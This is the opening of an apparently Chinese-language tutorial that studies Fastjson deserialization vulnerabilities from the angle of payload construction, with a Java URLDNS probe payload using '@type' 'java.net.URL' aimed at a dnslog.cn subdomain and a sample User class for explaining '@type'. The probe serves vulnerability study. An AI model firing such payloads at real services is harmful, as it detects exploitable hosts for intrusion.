前言
Fastjson这款国内知名的解析json的组件,笔者在此就不多介绍,网络上有很多分析学习fastjson反序列化漏洞文章。笔者在此以一种全新角度从分析payload构造角度出发,逆向学习分析fastjson反序列化漏洞始末。
ps:漏洞学习环境以代码均在上传Github项目。
初窥Payload
下面是一段最简单Fastjson的版本号反序列化--URLDNS
代码,观察发现可以提出一个问题@type
作用?
import com.alibaba.fastjson.JSON;
public class urldns {
public static void main(String[] args) {
// dnslog平台网站:http://www.dnslog.cn/
String payload = "{
{\"@type\":\"java.net.URL\",\"val\"" +
":\"http://h2a6yj.dnslog.cn\"}:\"summer\"}";
JSON.parse(payload);
}
}
@type的作用
下面是一段实验代码,帮助理解分析@type
的由来。
public class User {
private String name;
private int age;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
@Override
public String toString() {
return "User{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}